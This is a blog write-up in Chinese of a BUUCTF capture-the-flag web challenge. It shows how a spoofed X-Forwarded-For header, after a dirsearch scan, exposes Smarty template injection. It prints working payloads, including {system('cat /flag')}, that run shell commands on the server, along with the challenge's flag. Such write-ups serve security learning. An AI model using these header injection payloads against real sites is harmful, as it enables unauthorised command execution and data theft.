当前位置:网站首页>BUUCTF WEB [BJDCTF2020]The mystery of ip
BUUCTF WEB [BJDCTF2020]The mystery of ip
2022-04-23 12:27:00 【Y1Daa】
BUUCTF WEB [BJDCTF2020]The mystery of ip
-
在hint.php中找到一句注释
<!-- Do you know why i know your ip? --> -
在flag.php中看到自己的ip,联想到X-Forwarded-For。使用Hackbar添加一个HTTP头
X-Forwarded-For: 127.0.0.1回显为
Your IP is : 127.0.0.1说明我们获得了可控变量
-
尝试命令注入失败,到这里就没什么思路了,尝试dirsearch看能不能获得什么信息
# Dirsearch started Fri Apr 22 02:06:43 2022 as: dirsearch.py -u http://node4.buuoj.cn:28825/ 200 6KB http://node4.buuoj.cn:28825/.DS_Store 301 169B http://node4.buuoj.cn:28825/css -> REDIRECTS TO: http://node4.buuoj.cn/css/ 200 2KB http://node4.buuoj.cn:28825/flag.php 200 938B http://node4.buuoj.cn:28825/header.php 301 169B http://node4.buuoj.cn:28825/img -> REDIRECTS TO: http://node4.buuoj.cn/img/ 301 169B http://node4.buuoj.cn:28825/libs -> REDIRECTS TO: http://node4.buuoj.cn/libs/ 301 169B http://node4.buuoj.cn:28825/templates_c -> REDIRECTS TO: http://node4.buuoj.cn/templates_c/ 403 555B http://node4.buuoj.cn:28825/templates_c/发现一个名为
/template_c/的文件夹,怀疑存在模板注入 -
将X-Forwarded-For改为
X-Forwarded-For: {6*6}回显为
Your IP is : 36 -
尝试直接读取flag文件
X-Forwarded-For: {system('cat /flag')}回显
Your IP is : flag{6a4bda77-d3d8-4117-ab44-b747d76eab0b} flag{6a4bda77-d3d8-4117-ab44-b747d76eab0b}
版权声明
本文为[Y1Daa]所创,转载请带上原文链接,感谢
https://blog.csdn.net/weixin_51412071/article/details/124344787
边栏推荐
- Qt绘制文字
- Solution of asynchronous clock metastability -- multi bit signal
- AI 视频云 VS 窄带高清,谁是视频时代的宠儿
- SQL 练习(一)
- Intelligent multi line elastic cloud adds independent IP address. How to realize multi line function?
- Lesson 26 static member functions of classes
- 外包干了五年,废了...
- S2-062 remote command execution vulnerability recurrence (cve-2021-31805)
- 异步时钟亚稳态 的解决方案——多bit信号
- Qt重绘事件与剪切
猜你喜欢
随机推荐
Idea database navigator plug-in
Everything can be expected in the future | one 2022 campus recruitment officially opened
Relu function of activation function
Win10 splash screen after startup
智能多线弹性云增加独立的IP地址,如何实现多线功能?
软件测试基础DAY2-用例执行
I changed to a programmer at the age of 31. Now I'm 34. Let me talk about my experience and some feelings
Introduction to metalama 4 Use fabric to manipulate items or namespaces
Here comes the detailed picture and text installation tutorial of H5 game
The maximum number of remote desktop servers has been exceeded
Tips for installing MySQL service in windows11: Install / Remove of the Service denied
IDEA 代码格式化插件Save Actions
On using go language to create websocket service
如何防止网站被黑客入侵篡改
SSL证书退款说明
万事有你 未来可期 | ONES 2022校园招聘正式开启
Fastjson 2 is coming, the performance continues to improve, and it can fight for another ten years
远程桌面之终端服务器超出了最大允许连接数解决
Array---
Introduction to metalama 4 Use fabric to manipulate items or namespaces







![[unity note] basic lighting in l4unity](/img/38/d88245af2062ed67fb8e61327f3bb9.png)

